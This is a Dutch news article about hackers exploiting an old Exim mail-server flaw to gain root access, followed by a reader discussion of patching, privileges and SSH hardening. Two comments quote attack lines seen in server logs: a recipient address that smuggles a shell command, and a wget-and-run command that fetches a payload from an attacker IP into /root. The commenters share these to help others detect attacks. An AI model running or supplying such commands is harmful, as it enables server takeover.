Miljoenen Exim-mailservers aangevallen door lek dat root-toegang via ssh geeft

Een groot aantal e-mailservers dat draait op Exim wordt aangevallen door hackers die proberen daarmee toegang tot de servers te krijgen. De servers worden uitgebuit door een bekend beveiligingslek waarmee aanvallers root-toegang via ssh kunnen krijgen.

Het gaat om kwetsbare mailservers waar de Exim Mail Transfer Agent of mta op draait. Oude versies daarvan zijn kwetsbaar voor een bekend lek. De huidige aanval werd gespot door verschillende beveiligingsonderzoekers. Hackers uploaden een script naar kwetsbare servers dat kijkt of OpenSSH is geïnstalleerd op de geïnfecteerde machine, of dat zelf installeert als dat niet het geval is. Het shell-script voegt daarvoor een ssh-sleutel aan het rootaccount toe. Het script kan al worden ingeladen door een mail te sturen waarin het RCPT_TO-veld wordt aangepast met een e-mailadres waar de exploit in verstopt zit.

De aanvallers maken gebruikt van een lek dat eerder deze maand werd ontdekt door onderzoekers van Qualys. Die noemen het lek 'Return of the WIZard'. Met het lek kunnen aanvallers een remote command execution uitvoeren op Exim-machines. Volgens de onderzoekers is het niet mogelijk code uit te voeren, maar wel om commando's te sturen naar de servers. Het lek werd begin juni ontdekt, en de onderzoekers waarschuwden dat een aanvaller in ieder geval zeven dagen lang een open verbinding met de server moeten hebben.

De onderzoekers van de exploit zeggen dat Exim-servers vanaf versie 4.87 kwetsbaar zijn voor het lek, maar dat dat in de nieuwste versie 4.92 is opgelost. De aangevallen servers draaien dus op verouderde software. Op Shodan zijn zo'n 3,6 miljoen kwetsbare machines te vinden, waarvan veruit de meeste in Amerika staan. In Nederland zijn 137.000 kwetsbare Exim-servers te vinden, het hoogste aantal naast de VS, Rusland en Canada.

Volgens sommige beveiligingsonderzoekers zijn er inmiddels twee aanvallen aan de gang. Een eerste groep aanvallers gebruikt een exploit die vanaf een command and control-server op het gewone internet was aangesloten, terwijl een nieuwe tweede groep een CnC op het dark web draait.

Reacties (68)

[Muncher]

Misschien goed om te vermelden dat er nu ook een worm actief is die dit misbruikt:

https://threatpost.com/linux-servers-worm-exim-flaw/145698/

[burne]

Een week lang een verbinding openhouden met mailservers die iedere paar uur herstart worden om de nieuwe config actief te maken is nogal een uitdaging.

Als je al niet klaar ben met patchen (dit zoemt al een tijdje rond..) is het wel tijd om voort te maken.

[Raggie3]

Ik denk dat het een foutje in het nieuwsartikel op tweakers is en eigenlijk gaat om dit stukje:

"Next, the bounce must reach the vulnerable code and pass the
process_recipients != RECIP_ACCEPT test, but <KNIP> if the
bounce itself cannot be delivered after 7 days (the default
timeout_frozen_after), then Exim sets process_recipients to
RECIP_FAIL_TIMEOUT and executes the vulnerable code."

Een hacker hoeft dus geen verbinding open te houden, maar kan gewoon 7 dagen wachten...

[Reactie gewijzigd door Raggie3 op 23 juli 2024 08:29]

[gekkie]

Maar na deze alinea, komt de volgende waarin wordt geschetst dat je bij een default config in de wielen wordt gereden:

Last, we must solve a seemingly intractable problem: after 2 days (the
default ignore_bounce_errors_after) the bounce is discarded unless it is
deferred (by a temporary delivery failure), and after 4 days the default
retry rule ("F,2h,15m; G,16h,1h,1.5; F,4d,6h") turns deferred addresses
into failed addresses, and hence discards the bounce before the 7 days
of timeout_frozen_after. Below is our solution to this third problem,
and to the remote-exploitation problem in general (but simpler and
faster solutions may exist)

Om dit te omzeilen houden ze de verbinding dus voor 7 dagen open, zie stap 4 daar onder voor verdere details waarom dat werkt.

Dus hoewel ze het niet uitsluiten dat er een simpelere en snellere manier zou kunnen bestaan, hebben ze die zelf niet gevonden, of in ieder geval niet openbaar gemaakt.

Wel mooi dat ze die uitgevogeld hebben, aangezien het naar aanleiding van een normale bugfix is, waarbij in eerste instantie niet opgemerkt is dat het een security issue was. Gevolg daarvan is wel dat de fix daardoor in eerste instantie ook niet in stable releases van Linux distros terecht is gekomen.

Valt me overigens nog mee hoeveel activiteit ik hier aan gerelateerd in exim logs aantref ten opzichte van alle bagger die er verder is (sowieso is meer dan 80% van alle connecties of spam of script-o-kiddy spul). Gelukkig beland er weinig van in de inbox

[Reactie gewijzigd door gekkie op 23 juli 2024 08:29]

[tomadmiraal]

Wat gebeurd er eigenlijk als je binnen die 7 dagen je server gepatched hebt?

Nog een ander vraagje. In de logs kun je dus zien dat de kwetsbaarheid gebruikt is. Zijn er ook andere dingen zichtbaar op de server waardoor je kunt zien of ze toegang hebben (gehad)?

[Tozz]

Voor de patch moet de exim dienst gerestart worden, dus dan zal het euvel opgelost zijn vermoed ik.

[jvanderneut]

Als je local_part_suffix of local_part_prefix gebruikt in je config dan ben je meteen gehackt. De scans lijken daar ook naar te zoeken: ik zie dit soort dingen langskomen `<root+${run{\x2fbin\x2fbash....@localhost>`.

[Fido]

Ik zie niet in waarom aanvaller minimaal een week lang verbinding moet houden. De exploit laat zien dat direct commando's kunnen worden uitgevoerd. Ik zag in mijn logs voorbij komen dat ze dit proberen:

bash -c "wget --no-check-certificate -t 3 -T 75 http://185.162.235.211/ldmxim -O /root/ipntigi && sh /root/ipntigi -n" &

[burne]

Ik zie niet in waarom ..

Je hebt het tegen de verkeerde. Als je het niet eens bent met de samenvatting moet je je gaan beklagen bij Qualys.

[Mijzelf]

Het shell-script voegt daarvoor een ssh-sleutel aan het rootaccount toe.

Draait exim als root dan?

[Sfynx]

Als er lokaal mail afgeleverd moet worden zal het gedeelte dat uiteindelijk de mails als de juiste gebruiker op de juiste plek zet (de lokale delivery agent) als root moeten draaien (dan zal je nog een master proces hebben welke op poorten < 1024 moet kunnen luisteren, maar die kan normaliter daarna direct z'n privileges droppen).

Exim ken ik niet zo heel goed, maar Postfix heeft aparte processen voor dergelijke taken die alleen de privileges hebben die voor die taak nodig zijn. Het merendeel hoeft niet als root te draaien.

[Reactie gewijzigd door Sfynx op 23 juli 2024 08:29]

[jurroen]

Wat je aangeeft gaat niet per definitie op. Een MTA/MDA hoeft zeker niet onder root te draaien. Ligt aan de architectuur van de daemon, de configuratie en wat er OS-wise mogelijk is. Het afleveren naar een maildir/mbox in de $HOME van de gebruiker is een van de mogelijkheden. Een andere mogelijkheid is het werken met een opslaglocatie waar alleen de mail daemons bij kunnen en niet de reguliere systeemaccounts.

Bovendien zijn een e-mailaccount en systeemaccount twee verschillende zaken. Gelukkig maar

[EraYaN]

Linux systemen hebben standaard toch echt de unix accounts als email account hoor, sterker nog er zijn een heel aantal services die standaard naar root@hostname mailen.

[blinchik]

Vroeger, maar mijn huidige postfix is helemaal via MySQL geconfigureerd en is dus volledig afgescheiden van system accounts.

[Tozz]

Nee niet "vroeger". Nog steeds. Dat jij het anders hebt ingericht mag dan zo zijn, dat neemt niet weg dat nog steeds elke systeemuser standaard ook een mailaccount heeft.

[blinchik]

Tja dat kan je dan van veel deprecated software zeggen. De meeste mensen draaien windows 10 maar dat neemt niet weg dat het in Windows XP anders is opgezet

Ik bedoel : de meerderheid van de systemen.

[Tozz]

Nogmaals, als jij een schone Linux installatie hebt, heeft elke user een mailbox.

[kozue]

Neuh. De Linux installaties die ik de afgelopen jaren heb gezien installeren helemaal niet standaard een MTA, en hebben daarom dus ook geen mailbox omdat er niets is om mail af te leveren. De MTA wordt alleen geinstalleerd als je dat zelf doet.

[Tozz]

Wat je zegt is simpelweg onjuist.

1. "Een MTA hoeft zeker niet als root te draaien"
2. "Ligt aan de architectuur van de daemon"

Eeh, nee. Als een proces X een bestand wil kunnen plaatsen in een map user A, dan moet proces X zich voor kunnen doen als user A of als user root. Beide kan alleen als proces X tenminste ergens in het startup proces root rechten heeft. Ook voor het luisteren op poorten onder de 1024 is root noodzakelijk.

Elke daemon (SSH daemons, mail daemons) doen dat door middel van privilege separation. Ze starten met root en droppen de privs voor de onderdelen die ze niet nodig hebben.

En ja, wanneer je een volledig gevirtualiseerde mail omgeving hebt, waarbij je dus niet de standaard Linux systeemomgeving gebruikt voor het afleveren van mail (en je dus gebonden bent aan het ophalen met mail over bv. POP3/IMAP) kun je theoretisch toe met minder rechten, maar zul je nog steeds een proces als root moeten hebben draaien dat kan luisteren op een poort onder de 1024.

"Bovendien zijn een e-mailaccount en systeemaccount twee verschillende zaken. Gelukkig maar"

Ook dat is niet standaard het geval. Standaard is het op elk UNIX/Linux systeem zo dat elk systeemaccount een mailadres heeft dat eindigt op de hostname van de server. Dus user pietje op server met de domeinnaam example.com heeft standaard een email adres [e-mail].

Dat er gevirtualiseerde mailomgevingen zijn waarbij dat niet het geval is neemt niet weg dat standaard een systeemaccount wel degelijk identiek is aan een e-mail account. Zeker op een schoon geinstalleerde Linux omgeving.

[jurroen]

Eeh, nee. Als een proces X een bestand wil kunnen plaatsen in een map user A, dan moet proces X zich voor kunnen doen als user A of als user root.

Dat is exact wat ik zeg. Immers, je kunt als e-mailbasis bijvoorbeeld /var/vmail gebruiken, in plaats van $HOME. Dat het vaak gebeurd, in de $HOME map, wil niet zeggen dat het moet. Daarnaast is het mogelijk om, op OS niveau, toe te staan dat Exim bijvoorbeeld poort 25, 465 en 587 opent, zonder een privsep constructie te moeten doen. en hetzelfde met Dovecot op bijvoorbeeld 143 en 993.

Indien je het op $HOME doet klopt het wel wat je zegt, daar zijn UID 0 / root permissies voor nodig. En als je die niet nodig hebt, doe je iets anders fout (chmod -R 777 $HOME bijvoorbeeld, lekker veilig ).

Wat ik mij afvraag is in hoeverre de $HOME een Exim default is of dat de meeste Linux distributies en Unix deratieven dat in hun packages meeleveren. Ik moet nog even in de Exim source duiken om dit na te zoeken (ben nu zelf wel nieuwsgierig)

Ook dat is niet standaard het geval. Standaard is het op elk UNIX/Linux systeem zo dat elk systeemaccount een mailadres heeft dat eindigt op de hostname van de server.

Ik zeg niets over de standaard, noch impliceer ik dat. Wat ik wilde aangeven is dat, afhankelijk hoe je het instelt, je niet voor elke mailbox een systeemaccount hoeft te maken. Kan - hoeft niet.

[kozue]

Op alle systemen die ik de afgelopen jaren gezien heb, wordt mail helemaal niet direct in de home afgeleverd, maar in /var/mail, waar het mailproces wel in mag schrijven. Op Debian/Ubuntu draait exim volledig onder een dedicated user account, en postfix op CentOS/Debian/Ubuntu draait alleen een 'master' proces onder root en de rest onder een dedicated user account (volgens mij is de master alleen om processen op te starten en handelt die geen mail af). Helemaal geen root voor nodig dus. Om te luisteren op een poort onder de 1024 is het alleen nodig om bij het opstarten root-rechten te hebben, die je daarna kunt droppen.

[tweaknico]

De listen moet tijdens root, daarna kun je het actieve user account omzetten naar iets anders voordat er ook maar iets gebeurd. (Dat doet postfix etc. ook).

Dus ja exim server draait heel even als root. om idd. port 25 , poort 465 etc. te openen en gaat dan over op mail:mail. Alle processing in exim gebeurd dan door een "plain user".

Een delivery agent (in mijn geval dovecot) moet de mail afleveren, die draait onder het target account.
na als root gestart te zijn om de setuid naar de gebruiker te kunnen doen.
mail voor root wordt idd. onder root afgeleverd.

Op mijn systemen wordt alle mail voor root naar een ander account geleid juist vanwege de kans op dit soort zaken. (het root account is niet normaal te gebruiken, of zonder password bereikbaar).

[thegve]

Misschien even geen beledigingen in je posts stoppen, die zijn ongewenst.

Lees deze eens door voor je post:
https://nl.wikipedia.org/wiki/Nettiquette#De_tien_geboden

SELinux en AppArmor doen redelijk wat jij bedoelt.

En ik heb je vraag even nagezocht:

The NSA, the original primary developer of SELinux, released the first version to the open source development community under the GNU GPL on December 22, 2000.[6] The software was merged into the mainline Linux kernel 2.6.0-test3, released on 8 August 2003

Dus het zit inderdaad al 16 jaar in de mainline kernel.

[Reactie gewijzigd door thegve op 23 juli 2024 08:29]

[thegve]

Ik doelde op "Snap best dat voor sommigen Linux heilig is .. ... ..". Dat is niet iets waarmee je iets zinnigs toevoegt aan een discussie. Als daarnaast wat je inhoudelijk toevoegt een simpele vraag is, waarvan je eigenlijk het antwoord zou moeten weten als je zoals je zelf zegt Linux gebruikt vanaf versie 0.91, dan word je gewoon terecht als ongewenst gemodereerd. Een comments sectie is geen internet zoekbox.
Daarnaast doen alle services die ik ken gewoon aan het droppen van privileges, dus de services waar je contact mee kunt hebben draaien gewoon met user rechten.
Dat bovenstaande lek mogelijk is, zou inderdaad gewoon niet moeten kunnen.

[niqck]

Heb Linux gebruikt vanaf 0.91. Vond het leuk als hobby-project maar ben er 10 jaar geleden mee opgehouden wegens mij te onstabiel. Incompatibiliteiten tussen versies, distros, dingen die breken bij upgrades want "we gaan het weer eens anders doen"... Maar als je dat "aanklaagt" krijg je een hoop volk op je nek want open source is zoveel beter.... Iets wat ik nu ook weer merk als je ook maar 1 negatieve opmerking durft maken op een cynische manier...

Ik zocht op Least Privileges model en Linux en vond verwijzingen naar SELinux maar zoals vaak met documentatie rond Linux is het onduidelijk, half of compleet verouderd. Nog een verzuchting die ik vaak bij open source tegenkom. Documentatie is niet cool en saai.

Het probleem met droppen van privileges is dat er heel vaak nog een top-process met root-privileges draait; met least-privileges kan je de rechten toekennen aan het process, project, user, whatever zonder ooit root nodig te hebben. Ik gebruikte dit 10 jaar geleden op Solaris en vond het een pracht-oplossing. Gezien ik Linux niet meer volg vroeg ik me dus af of dit ondertussen al in Linux zat. En Google was geen vriend wegens vorige paragraaf...

[thegve]

Dus het OS dat op +/- 80% van de hardware ter wereld draait ( Android + Servers + veel meuk ) schaar jij nog steeds onder de categorie "hobby project" en onstabiel?

Ik zocht op Least Privileges model en Linux en vond verwijzingen naar SELinux maar zoals vaak met documentatie rond Linux is het onduidelijk, half of compleet verouderd. Nog een verzuchting die ik vaak bij open source tegenkom. Documentatie is niet cool en saai.

The NSA, the original primary developer of SELinux, released the first version to the open source development community under the GNU GPL on December 22, 2000

Dus de Amerikaanse nationale veiligheidsdienst is volgens jou een partij die geen documentatie schrijft omdat ze dat niet cool vinden.
https://www.nsa.gov/what-...ch/selinux/documentation/

Zou misschien iets van de oorzaak bij jezelf liggen? Misschien een stukje eenkennigheid? Misschien teveel gewend aan een ander OS en je niet willen verdiepen in een ander ecosysteem?

[niqck]

Ja. Linux bestaat niet, het is een verzamelnaam voor een hoop dingen die op elkaar lijken en waar je van hoopt dat er wat consistentie tussen de versies zit. De Linux versie die op servers draait is verre van de versie van Android of welk embedded ding ding dan ook. Ieder device is net iets anders, iedere implementatie is net iets anders; en bij iedere update loop je de kans dat er iets gebroken wordt wegens de beslissing om het anders te gaan implementeren. Kan jij me garanderen dat een driver die voor versie x geschreven is ook in versie x+1 zal werken? Ook dat is onstabiliteit; heb nooit gedoeld dat het ding om de haverklap crasht...

NSA heeft de 1e versie van LP in 2000 vrijgegeven. Waarom wordt dit niet STANDAARD in ELKE versie van Linux gebruikt?

Welk ecosysteem stel je voor de ik mij verdiep? Redhat, Fedora, Suse, Debian, Gentoo (heb ik jaren gedraaid), Ubuntu, Kubuntu, Xubuntu, Majora, Mint, Slackware, ArchLinux...

Ik heb mij na Linux verdiept in FreeBSD; minder cool misschien maar wel heel stabiel/conservatief. Draai dat nu al tot grote tevredenheid meer dan 10 jaar.

[Reactie gewijzigd door niqck op 23 juli 2024 08:29]

[thegve]

NSA heeft de 1e versie van LP in 2000 vrijgegeven. Waarom wordt dit niet STANDAARD in ELKE versie van Linux gebruikt?

De RedHat familie heeft het, mijn Fedora desktop gebruikt het gewoon, even gechecked. De Debian familie weet ik even niet. Moet daarbij wel bekennen dat ik het uit heb gezet omdat "least privileges" impliceert dat je de gewenste privileges moet configureren als je custom dingen wilt doen. De standaard pakketten, of bij professioneel gebruik, gebruiken het gewoon.

Welk ecosysteem stel je voor de ik mij verdiep? Redhat, Fedora, Suse, Debian, Gentoo (heb ik jaren gedraaid), Ubuntu, Kubuntu, Xubuntu, Majora, Mint, Slackware, ArchLinux...

Je hebt het Linux ecosysteem, met een flinke hoeveelheid CLI software. Wil je een server optuigen, dan heb je hoofdzakelijk te maken met de keuze van welke tooling je fijn vind, en enigszins te kijken naar support-termijnen.

Apt -> Debian, Ubuntu
RPM -> Redhat, Centos, Fedora

De andere genoemde distro's zijn redelijk specialistisch / voor een bepaalde niche, en voor de meeste mensen niet zo belangrijk. Bij bijvoorbeeld Microsoft gebruikt ook niet iedereen ieder exotisch stukje software, je komt er vanzelf achter als je die nodig hebt.

Dan heb je 2 grote desktop-systemen, KDE en Gnome, met een bepaalde set daarvoor geschreven software, en dan nog een set software die op alle desktop systemen werkt, dus wat minder consistent is met die UI guidelines.

Als je de keuze voor Gnome of KDE hebt gemaakt zoek je een distributie uit naar smaak. De basis-ecosystemen heb ik hierboven al genoemd, verder is het gewoon plaatjes kijken.
Ubuntu is op basis van het Debian ecosysteem, maar is naar mijn mening iets te experimenteel. Debian is altijd meer server focused. Vandaar dat Fedora voor mij het fijnste desktop systeem is momenteel, maar ook jaren Ubuntu en Gentoo gedraaid. Gentoo is niet echt de distro voor als je een smooth Linux experience zoekt trouwens, dat is ook totaal niet het doel daar van.

[niqck]

Bedankt voor je antwoordt maar de vraag was retorisch; wat je opsomde weet ik allemaal en is gewoon 1 van de redenen waarom ik Linux vaarwel gezegd heb... Linux bestaat niet, het is gewoon een kernel waar iedereen vanalles in wijzigt. Mijn grootste frustratie, en 1 van de redenen dat ik Linux vaarwel zei is bij gebruik van kernel modules. Allereerst het ganse "wij zijn GPL en jullie moeten en zullen ook GPL zijn en closed source is evil" gedoe. En hoop dat dit ondertussen gebeterd is het 'je hebt kernel 2.82.2a-blabla.21.5a nodig en niet 5b want dan werkt het niet meer' gezever. Backwards compatibiliteit lijkt altijd optioneel.

Verder heb je de GNU userland (met opnieuw vaak weinig consistentie tussen distro's, /usr/bin, /usr/local/bin etc...), de manier waarop vaak met libraries en dependencies omgegaan wordt en een hoop desktop-systemen met zoals je zelf aangeeft cowboyland ivm UI guidelines. En dan vergat je nog het ganse Xorg vs Wayland debat.

Als ik een Linux distro installeer in een VM is het meestal Debian. UI moet ik toch niet... En verder mij PI's met Raspbian. Dus mijn 'afkeer' heeft niks te maken met het feit dat ik het niet ken of niet draai maar juist omdat ik dat wel doe. Leuk voor mijn kleine hobby-projectjes maar professioneel heb ik er echt weinig zin in.

[niqck]

Doelde met "hobby project" dat dit voor mij een hobby project was (en nog steeds is). Weet dat er heel veel volk hier professioneel mee bezig is en zij hebben mijn diepste medeleven

Heb onlangs ook de mogelijkheid gekregen om deze richting uit te gaan maar heb dat aan mij laten passeren. Meeste bedrijven draaien nu op Wintel en Lintel. Weet niet af dat een goeie evolutie is. En dat 80% op Linux draait wil nog niet zeggen dat het ook de beste oplossing is/was. Video2000 en Betamax waren ook veel beter dan VHS... 't is gewoon waar iedereen zich achter geschaard heeft.

[Luchtbakker]

Les 1 zodra je een webserver opstart: SSH poort blokkeren wanneer je er geen gebruik van maakt

[Reactie gewijzigd door Luchtbakker op 23 juli 2024 08:29]

[burne]

Les 1: security is een proces wat je moet leren en toepassen. Random tips van random strangers op (niet helemaal) random sites hebben niets met security te maken en van alles met slecht advies.

Dus jij zet ssh dicht in je firewall en gaat lekker in de kroeg zitten want nu ben je veilig. Maar je Cisco firewall gebruikt standaard geen ssh, maar telnet, en je bent vergeten het password te configureren, dus de eerste de beste die het probeert kan je firewall weer uitzetten en de rest van je netwerk bekijken. Zonder wachtwoord.

Het ergste is: de meeste exploits van deze Exim-bug gebruiken helemaal geen ssh omdat dat om wachtwoorden vraagt.

[ViperXL]

Kijk hier kun je wat me, security is een model dat wordt ontwikkelt en toegepast.
Inderdaad elke omgeving, scenario en toepassing is weer anders wat resulteert in andere oplossingen. Bij de 1 zet je SSH uit, bij de andere kun je via VPN inloggen en dan de rest benaderen en anderzijds heb je multi-level waarbij je nog hele andere situaties hebt. Even een poort sluiten of een laag toevoegen is veel te simpel gezegd.
Het zijn lagen en risico analyses met extra mechanismes of processen die voor beveiliging zorgen.

On-topic: Ik schrok wel even, direct onze cPanel servers gecheckt maar iedereen die v80 draait is veilig/gepatched CVE-2019-10149 Exim

[Reactie gewijzigd door ViperXL op 23 juli 2024 08:29]

[- peter -]

Hoe wil je je server in zonder SSH? Alternatieve poort is simpel op te sporen.

[Luchtbakker]

Hoe wil je je server in zonder SSH? Alternatieve port is simpel op te sporen.

Dedicated server (ga ik even van uit)

1. ESX installeren (of proxmox oid.)
2. Vm aanmaken
3. Firewall configureren middels 2e vm of gebruik maken van de firewall van ESX of proxmox.

Andere optie is SSH poort alleen openzetten als je het nodig hebt. Na werkzaamheden gelijk weer sluiten. Maar het open houden van SSH poort is direct al een security issue. Telenet is daar een 2e voorbeeld van .

[Reactie gewijzigd door Luchtbakker op 23 juli 2024 08:29]

[Ventieldopje]

Of gewoon een VPN server opzetten en SSH alleen lokaal laten luisteren.

[Blokker_1999]

Tjah, dan heb je weer een VPN server die kwetsbaar kan zijn. Hoe je het ook draait of keert, je zal altijd een service naar het internet open moeten zetten om de boel te kunnen beheren.

[Ventieldopje]

Tsja, alles wat aan het internet hangt is te hacken theoretisch. Het voegt wel een extra stevige laag toe

[Keypunchie]

Maar niet naar het hele internet. Probeer je attack surface zo klein mogelijk te houden.

Voor een vpn is er best wat te zeggen om alleen whitelisted adressen toe te staan. Voor een beheer-netwerk is het een best practice, bvb. door middel van jumphosts.

[Reactie gewijzigd door Keypunchie op 23 juli 2024 08:29]

[the_stickie]

Een verschil is nog dat een vpn uitkomt in een netwerk, waar je normaliter zonder verdere authenticatie/authorisatie/kwetsbaarheden weinig mee kan. Een ssh sessie biedt directe toegang tot een host. Je kan dan op zijn minst al als user aan de slag op die host...
Een VPN is gewoonlijk ook maar één (of een paar) device(s) die aan extra strikte beveiligingseisen kunnen onderworpen worden. Bij SSH direct naar de host(s) heb je veel meer (potentieel kwetsbare) endpoints.

In de praktijk is een VPN dus zeker een extra stap/barrière die aan te bevelen is. Je ziet dan ook dat grote bedrijven management vlans gebruiken van waaruit je de verschillende server kan beheren via SSH, web, rdp,... vaak staat er dan een (vorm van) terminal server met alle nodige tools, met uitsluitend dat beheer als doel. Soms moest ik zelfs vanuit de lan daarnaartoe VPN'en, bij wijze van extra authorisatielaag.
Imho is het sowieso geen goed idee om eender welke beheersinterface rechtstreeks aan het internet te exposen. SSH, hoe stevig de reputatie ook, is een beheersinterface...

[Reactie gewijzigd door the_stickie op 23 juli 2024 08:29]

[burne]

Je kunt je VPN natuurlijk ook laten uitkomen in een ander netwerk (een VPN netwerk) en van daaruit selectief toegang geven tot hosts. Een beetje VPN concentrator kan dingen als gebruikersrechten, groepsrechten, overerving, tijden, voorwaarden, 2fa enzovoorts.

Sowieso: als je meer dan twee computers hebt wordt segmenteren van je netwerk al snel een goede oplossing.

Van de andere kant: mijn SSH staat gewoon open voor het hele internet. Veel succes met het raden van de juiste key.

[SadisticPanda]

Same here, gewoon open. Wel op non default poort. Is geen extra veiligheid maar wel merkelijk minder gehammer of attrempts. Dan gewoon klepper van certificaat met paswoord en putty op een usb en die gewoon meenemen. Bij eventueel verlies van usb gewoon certificaat op servers deleten en nieuw aanmaken. Direct klaar.

[merlin_nl]

Wat ook verdomd simpel is.. SSH firewallen en met TCP portknocking werken b.v.
uiteraard op regelmatige basis je portknock 'routine' aanpassen..
aankloppen op je server met een specifieke pincode van poorten (kan over ssl btw), dan word ssh voor dat specifieke IP voor X tijd open gezet en zelfs dan no root, ssh pass met hoge encryptie en sudo met pass afdwingen.. b.v.

[Blokker_1999]

En hoe ga je die firewall beheren? Je bent een hele hoop software aan het toevoegen die allemaal ook weer kwetsbaarheden kan bevatten en waarmee je dus je attack surface aan het uitbreiden bent in plaats van aan het verkleinen.

[AW_Bos]

Niet alleen bij webservers, maar elke soort servers!!

[Torrentus]

Hangt dit misschien samen met nieuws: Mijndomein-klanten hebben last van e-mailstoring ?

[jesse!]

@jochem1998 schreef (jochem1998 in 'nieuws: Mijndomein-klanten hebben last van e-mailstoring')

"Mijndomein is de mail over aan het zetten naar een andere exchange server, dit loopt helemaal in de soep waardoor er een groot aantal klanten problemen heeft. Het gaat ze niet lukken dit voor maandag op te lossen."

Volgens Mijndomein zelf:
"Om 12.00 uur op vrijdag maakte Mijndomein bekend dat de problemen het gevolg waren van 'een grote netwerkstoring op een belangrijk knooppunt waar e-mailverkeer afgehandeld wordt'. "

[[Yellow]]

Dat dat knooppunt bij henzelf zat laten ze gemakshalve uiteraard achterwege

[iTeV]

Lijkt me niet. Een simpele nmap scan op de mx'en van mijndomein (port 25/smtp) laat zien dat het exim gebruikt die 11 juni "gebouwd" is.

Sure, dit kan aangepast worden. Maar zelf denk ik niet dat mijndomein hierdoor een storing heeft.

[Reactie gewijzigd door iTeV op 23 juli 2024 08:29]

[burne]

Nee. Hun exim is recent gepatched.

[3dmaster]

Het verbaast mij eigenlijk regelmatig dat ook grotere providers exim gebruiken. Vanuit security oogpunt is in mijn ogen postfix een veel veiligere keuze. Of sendmail, als je van bdsm houdt.

[Fido]

Kan je dit ook onderbouwen? Ik ken postfix niet, maar in mijn ogen is Exim rock stable en veilig.

[GrooV]

Postfix is ontwikkeld met Security in het achterhoofd waardoor het minder flexibel is dan Exim.

Niet dit Postfix geen bugs oid heeft maar die hebben vaak minder grote impact.

Vergelijk Exim met Windows en Postfix met OpenBSD

[3dmaster]

Geen direct hard bewijs maar wel het feit dat postfix is ontwikkeld met veiligheid als uitgangspunt en niet een uitgebreide set aan features. (Hoewel, tegenwoordig ook behoorlijk uitgebreid en flexibel) Voor zover ik weet is er in postfix nog nooit een bug geweest die er voor kan zorgen dat een buitenstaander door middel van een mailtje root toegang kon krijgen.

[merlin_nl]

Dit komt omdat exim door o.a. cPanel word opgelegd.
Indien men de keuze maakt voor b.v. cPanel of diverse andere panelen, ben je uitgeleverd aan wat hen je opleggen als mailserver, of je moet hele eigen constructies eromheen bouwen.

[AW_Bos]

Hoe kan je herkennen of deze exploit actief is?

[Fido]

Hier staat het stap voor stap beschreven en kan je je eigen server testen:

https://www.qualys.com/20...eturn-wizard-rce-exim.txt

[AW_Bos]

Je kan hiermee uittesten of je exploitable bent. Maar hoe weet je of je niet eerder hierdoor geexploited bent?

[Fido]

Check je logs:
# grep $\{run mainlog

[Xantios]

Ik draai gelukkig alles in docker, dus de container even een restart geven en ik ben er weer

Niet ontzettend prettig nieuws dit, ik host enkel mail voor domeinnamen waar ik niet direct wakker van lig. (Dus downtime is niet zo boeiend) Zodra het belangrijk wordt besteed ik mail uit. Maar je zal dit maar aan je fiets hebben hangen...

[ViPER_DMRT]

Lost je probleem niet op natuurlijk

(OpenShift admin for a living)

[Xantios]

https://nl.wikipedia.org/wiki/Wet_van_Godwin

[ViPER_DMRT]

diep